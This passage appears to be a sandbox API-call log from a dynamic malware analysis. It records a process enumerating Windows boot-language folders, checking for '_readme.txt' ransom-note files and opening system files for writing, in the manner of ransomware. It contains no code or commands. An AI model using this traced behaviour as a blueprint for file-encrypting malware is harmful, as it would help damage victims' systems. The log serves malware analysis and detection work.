0x76055708 [0066.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.853] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.854] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x32476f0 [0066.854] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0066.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.854] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.854] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.854] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.855] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.855] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0066.855] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.855] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.855] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned=".txt" [0066.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.855] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.855] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.855] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.855] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.856] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0066.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.856] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.856] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.856] PathFindFileNameW (pszPath="") returned="" [0066.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.856] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.857] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.857] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.857] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.857] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.857] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.857] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.857] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0066.857] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.857] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0066.857] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.858] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.858] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.858] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0066.858] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.858] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.858] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned=".txt" [0066.858] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.858] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.859] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.859] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.859] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 